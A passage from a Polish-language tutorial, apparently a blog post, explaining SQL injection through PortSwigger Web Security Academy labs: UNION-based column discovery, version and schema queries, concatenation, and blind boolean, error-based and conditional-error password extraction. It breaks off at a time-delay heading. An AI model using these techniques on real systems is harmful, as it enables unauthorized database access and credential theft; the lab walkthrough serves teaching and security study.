&lt;p>Spójrzmy na przykład z innego zadania na &lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text"target="_blank" rel="noopener">PortSwigger Web Security Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Po krótkim zapoznaniu się ze stroną, można zauważyć, że kiedy podamy apostrof w parametrze &lt;code>category&lt;/code> wystąpi błąd, co oznacza że w tym miejscu można wstrzyknąć kod SQL. Wykorzystując jedną z opisanych wyżej metod można szybko określić, ile kolumn jest zwracane przez bazę danych. Mając to wszystko, można przystąpić do szukania miejsca, w którym można umieścić tekst.&lt;/p>
&lt;p>&lt;img src="./finding_column_text_error.png" alt="Tekst w pierwszej kolumnie - błąd" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text"target="_blank" rel="noopener">Lab: SQL injection UNION attack, finding a column containing text&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Próbując zawrzeć tekst w pierwszej kolumnie następuje błąd serwera, sprawdźmy więc kolejne pole:&lt;/p>
&lt;p>&lt;img src="./finding_column_text_success.png" alt="Tekst w drugiej kolumnie - sukces" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text"target="_blank" rel="noopener">Lab: SQL injection UNION attack, finding a column containing text&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Jak widać, nasz tekst został zwrócony wraz z innymi danymi z bazy.&lt;/p>
&lt;h2>Określanie wersji bazy danych&lt;span class="hx:absolute hx:-mt-20" id="określanie-wersji-bazy-danych">&lt;/span>
&lt;a href="#okre%c5%9blanie-wersji-bazy-danych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wiedząc już, w którym miejscu można wyświetlać tekst, możemy przejść do określenia typu i wersji bazy danych.&lt;/p>
&lt;p>Sposoby różnią się między sobą w zależności od systemu bazodanowego:&lt;/p>
&lt;ul>
&lt;li>&lt;code>select @@version&lt;/code> - dla MySQL i Microsoft&lt;/li>
&lt;li>&lt;code>select version()&lt;/code> - dla PostgreSQL&lt;/li>
&lt;li>&lt;code>select banner from v$version&lt;/code> - dla Oracle&lt;/li>
&lt;/ul>
&lt;p>Metodą prób i błędów możemy sprawdzić, która z tych możliwości zadziała:&lt;/p>
&lt;p>&lt;img src="./obtain_db_version.png" alt="Określenie wersji bazy danych" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text"target="_blank" rel="noopener">Lab: SQL injection UNION attack, finding a column containing text&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>Jeśli mamy do czynienia z bazą Oracle, można to stwierdzić już przed znalezieniem informacji o wersji bazy, jeśli przy zapytaniach z klauzulą &lt;code>union select&lt;/code> (np. przy określaniu ilości zwracanych kolumn) należało użyć wyrażenia &lt;code>from dual&lt;/code>.&lt;/p>
&lt;/blockquote>
&lt;h2>Odkrywanie nazw tabel w bazie&lt;span class="hx:absolute hx:-mt-20" id="odkrywanie-nazw-tabel-w-bazie">&lt;/span>
&lt;a href="#odkrywanie-nazw-tabel-w-bazie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Poczyniwszy niezbędne przygotowania, możemy wreszcie przystąpić do wyciągania właściwej zawartości bazy danych, zaczynając od określenia, jakie w ogóle tabele w niej występują. W systemach zarządzania bazami istnieją tabele, które są tworzone domyślnie przez system i przechowują informacje o zawartości baz danych w nim dostępnych. Tabela zawierająca informacje o innych tabelach w systemach takich jak MySQL i PostgreSQL nazywa się &lt;a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html"target="_blank" rel="noopener">&lt;code>information_schema.tables&lt;/code>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, natomiast w Oracle będzie to &lt;a href="https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286"target="_blank" rel="noopener">&lt;code>all_tables&lt;/code>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>&lt;img src="./tables_postgresql.png" alt="Tabele w bazie danych" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle"target="_blank" rel="noopener">Lab: SQL injection attack, listing the database contents on non-Oracle databases&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Zastosowałem omawiany wcześniej filtr &lt;code>AND 0=1&lt;/code>, dzięki czemu wyświetlają się tylko wyniki, które mnie interesują, ponieważ wykluczyłem całą zawartość zwracaną przez oryginalne zapytanie. Część tabel, których nazwy zostały przeze mnie wykryte, jest tworzona domyślnie na potrzeby systemu bazodanowego podczas jego instalacji i niekoniecznie powinny zostać przedmiotem zainteresowania. Warto szukać nazw tabel, które utworzył administrator, bo to one będą zawierać informacje o testowanym przez nas serwisie.&lt;/p>
&lt;h2>Znajdowanie nazw kolumn w tabelach&lt;span class="hx:absolute hx:-mt-20" id="znajdowanie-nazw-kolumn-w-tabelach">&lt;/span>
&lt;a href="#znajdowanie-nazw-kolumn-w-tabelach" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Mając już upatrzoną jedną lub więcej tabel, które chcemy przeszukać, musimy sprawdzić, jak nazywają się występujące w nich kolumny. Do tego celu ponownie posłużą nam specjalne tabele z informacjami o bazie:&lt;/p>
&lt;ul>
&lt;li>&lt;code>SELECT column_name FROM all_tab_columns WHERE table_name='$table_name'&lt;/code> - dla baz Oracle&lt;/li>
&lt;li>&lt;code>SELECT column_name FROM information_schema.columns WHERE table_name='$table_name'&lt;/code> - dla innych popularnych systemów&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="./columns_oracle.png" alt="Listowanie kolumn w tabeli" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle"target="_blank" rel="noopener">Lab: SQL injection attack, listing the database contents on Oracle&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Wisienka na torcie&lt;span class="hx:absolute hx:-mt-20" id="wisienka-na-torcie">&lt;/span>
&lt;a href="#wisienka-na-torcie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Zwieńczeniem całego procesu jest pobranie właściwych rekordów, o które właśnie przez ten cały czas nam przecież chodzi. Mamy już wybrane za cel tabele i ich kolumny zawarte, wiemy ile kolumn musi zwrócić nasza kwerenda. Teraz wystarczy tylko wykonać zwykłe zapytanie z użyciem &lt;code>UNION SELECT&lt;/code>.&lt;/p>
&lt;p>&lt;img src="./contents_oracle.png" alt="Wydobywanie konkretnych rekordów w bazie" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle"target="_blank" rel="noopener">Lab: SQL injection attack, listing the database contents on Oracle&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Łączenie kilku kolumn w jedną&lt;span class="hx:absolute hx:-mt-20" id="łączenie-kilku-kolumn-w-jedną">&lt;/span>
&lt;a href="#%c5%82%c4%85czenie-kilku-kolumn-w-jedn%c4%85" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na tym etapie możemy napotkać pewien problem. Co jeśli kwerenda zwraca tylko jedną kolumnę, a my chcemy pobrać dwie? Albo jeśli tylko jedna kolumna pozwala na tekst? Na szczęście ten problem ma proste rozwiązanie - wystarczy &lt;a href="https://en.wikipedia.org/wiki/Concatenation"target="_blank" rel="noopener">&lt;em>skleić&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> ze sobą wartości dwóch kolumn tworząc jeden ciąg znaków, który można umieścić w tej jednej kolumnie. W zależności od bazy danych możemy użyć operatora &lt;code>||&lt;/code>, &lt;code>+&lt;/code> lub funkcji &lt;code>CONCAT&lt;/code>.&lt;/p>
&lt;p>&lt;img src="./multiple_values_one_col.png" alt="Wiele wartości w jednej kolumnie" loading="lazy" />
&lt;em>&lt;a href="https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column"target="_blank" rel="noopener">Lab: SQL injection UNION attack, retrieving multiple values in a single column&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Blind SQL injection&lt;span class="hx:absolute hx:-mt-20" id="blind-sql-injection">&lt;/span>
&lt;a href="#blind-sql-injection" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Niestety życie nie zawsze jest takie proste. Nie w każdym przypadku możemy tak swobodnie przeglądać zawartości bazy danych korzystając z interfejsu graficznego jakim jest strona internetowa serwisu. Może zdarzyć się przypadek, gdzie pomimo występowania podatności pozwalającej wstrzyknąć kod SQL, wynik zapytania nie jest zwracany do naszej przeglądarki. Wtedy musimy działać &lt;em>na ślepo&lt;/em> i zgadywać, co znajduje się w owej bazie.&lt;/p>
&lt;p>Niektóre techniki tego rodzaju ataków można określić jako &lt;a href="https://beaglesecurity.com/blog/vulnerability/boolean-based-blind-sql-injection.html"target="_blank" rel="noopener">&lt;em>boolean-blind&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, ponieważ stosuje się w nich zapytania typu &lt;em>prawda&lt;/em> lub &lt;em>fałsz&lt;/em>. To tak, jakby próbować poznać imię drugiej osoby, zadając jej pytania o każdą kolejną literę sprawdzając wszystkie litery alfabetu po kolei, a ta osoba odpowiadałaby &lt;em>tak&lt;/em> albo &lt;em>nie&lt;/em>. Jest to trudniejsze i bardziej pracochłonne niż wykorzystanie instrukcji &lt;code>UNION&lt;/code>. Zajmuje więcej czasu i wymaga skorzystania z pomocy narzędzia takiego jak &lt;a href="https://portswigger.net/burp/documentation/desktop/tools/intruder"target="_blank" rel="noopener">Burp Intruder&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> lub napisania &lt;a href="https://www.cisco.com/c/en/us/products/security/advanced-malware-protection/what-is-exploit.html"target="_blank" rel="noopener">exploita&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - skryptu czy programu - ponieważ realizacja tego zadania ręcznie byłaby morderczą katorgą.&lt;/p>
&lt;blockquote>
&lt;p>Pisanie skryptów i obsługę Burp Intrudera zostawiam Czytelnikom do samodzielnego wykonania.&lt;/p>
&lt;/blockquote>
&lt;h2>Zgadywanie treści na podstawie zachowania aplikacji&lt;span class="hx:absolute hx:-mt-20" id="zgadywanie-treści-na-podstawie-zachowania-aplikacji">&lt;/span>
&lt;a href="#zgadywanie-tre%c5%9bci-na-podstawie-zachowania-aplikacji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Możliwe, że w przypadku pozytywnego wykonania kwerendy do bazy, strona zwraca treść, pewien ciąg znaków lub inny rodzaj informacji świadczący o sukcesie. Możemy to wykorzystać i wysyłać zapytania z &lt;a href="https://en.wikipedia.org/wiki/Boolean_expression"target="_blank" rel="noopener">wyrażeniami boolowskimi&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, na podstawie których będziemy próbować wykorzystać lukę.&lt;/p>
&lt;p>&lt;img src="./boolean_true.png" alt="conditional responses - true" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional responses&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>&lt;img src="./boolean_false.png" alt="conditional responses - false" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional responses&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>W tym zadaniu podatność tkwiła w nagłówku &lt;code>Cookie&lt;/code>. Stosując proste zapytania &lt;em>proof of concept&lt;/em> możemy zauważyć, że w zależności od tego, czy warunek jest prawdziwy bądź fałszywy, na stronie wyświetla się napis &lt;em>Welcome back&lt;/em>. Teraz litera po literze, znak po znaku jesteśmy w stanie odgadywać zawartość bazy danych.&lt;/p>
&lt;p>&lt;img src="./conditional_response_pass_false.png" alt="conditional responses - false" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional responses&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>&lt;img src="./conditional_response_pass_true.png" alt="conditional responses - true" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional responses&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Warunkowe wywoływanie błędu&lt;span class="hx:absolute hx:-mt-20" id="warunkowe-wywoływanie-błędu">&lt;/span>
&lt;a href="#warunkowe-wywo%c5%82ywanie-b%c5%82%c4%99du" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Nie każda aplikacja zwraca &lt;em>magiczny&lt;/em> ciąg znaków w odpowiedzi na udane zapytania. Kolejną rzeczą do wypróbowania jest wywołanie jakiegokolwiek błędu. Wtedy naszą odpowiedzią &lt;em>tak&lt;/em> będzie jego wystąpienie, a odpowiedzią &lt;em>nie&lt;/em> będzie jego brak. Sposób wykonania ataku nieco różni się od poprzedniego, ale jego logika pozostaje niezmienna. Wciąż bowiem zadajemy pytania typu &lt;em>prawda&lt;/em> lub &lt;em>fałsz&lt;/em>.&lt;/p>
&lt;blockquote>
&lt;p>Pomocna przy tworzeniu odpowiednich payloadów może być &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet"target="_blank" rel="noopener">&lt;em>ściąga&lt;/em> do SQL injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, która znajduje się na stronie &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet"target="_blank" rel="noopener">PortSwigger Web Security Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;img src="./conditional_error_false.png" alt="Conditional errors - false" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional errors&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Warunek &lt;code>substr(password, 1, 1)='0'&lt;/code> nie został spełniony, więc nie ma żadnego błędu na stronie. Oznacza to, że musimy próbować dalej.&lt;/p>
&lt;p>&lt;img src="./conditional_error_true.png" alt="Conditional errors - true" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors"target="_blank" rel="noopener">Lab: Blind SQL injection with conditional errors&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Tym razem, warunek &lt;code>substr(password, 1, 1)='8'&lt;/code> został spełniony i została wykonana próba dzielenia przez zero, co spowodowało błąd aplikacji. Stąd wiemy, że pierwszy znak w haśle to cyfra &lt;code>8&lt;/code>. W ten sam sposób można znaleźć pozostałe znajdujące się w nim znaki.&lt;/p>
&lt;h2>Wstrzykiwanie SQL na podstawie opisu błędu&lt;span class="hx:absolute hx:-mt-20" id="wstrzykiwanie-sql-na-podstawie-opisu-błędu">&lt;/span>
&lt;a href="#wstrzykiwanie-sql-na-podstawie-opisu-b%c5%82%c4%99du" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Niekiedy nie musimy wszystkiego zgadywać znak po znaku. Czasami wywołanie błędu bazy danych w przypadku nieostrożnej konfiguracji serwera może powodować, że na stronie zostanie wyświetlony wiele mówiący komunikat. Możemy spróbować wykorzystać to, aby wykraść zawartość bazy.&lt;/p>
&lt;p>&lt;img src="./burp_visible_error.png" alt="Dużo mówiący komunikat błędu" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based"target="_blank" rel="noopener">Lab: Visible error-based SQL injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Mając wiedzę o tym gdzie wystąpił błąd, jak wygląda kwerenda i jakie dane zostały w niej umieszczone, możemy wywołać taki błąd, aby w komunikacie o nim zostały zawarte dane, które mamy zamiar wydobyć.&lt;/p>
&lt;p>&lt;img src="./burp_visible_error_exploit.png" alt="Wykorzystanie wiele mówiącego komunikatu o błędzie" loading="lazy" />
&lt;em>Zrzut ekranu z programu &lt;a href="https://portswigger.net/burp/communitydownload"target="_blank" rel="noopener">Burp Suite&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - &lt;a href="https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based"target="_blank" rel="noopener">Lab: Visible error-based SQL injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;h2>Zgadywanie przez opóźnianie - time delays&lt;span class="hx:absolute hx:-mt-20" id="zgadywanie-przez-opóźnianie---time-delays">&lt;/span>
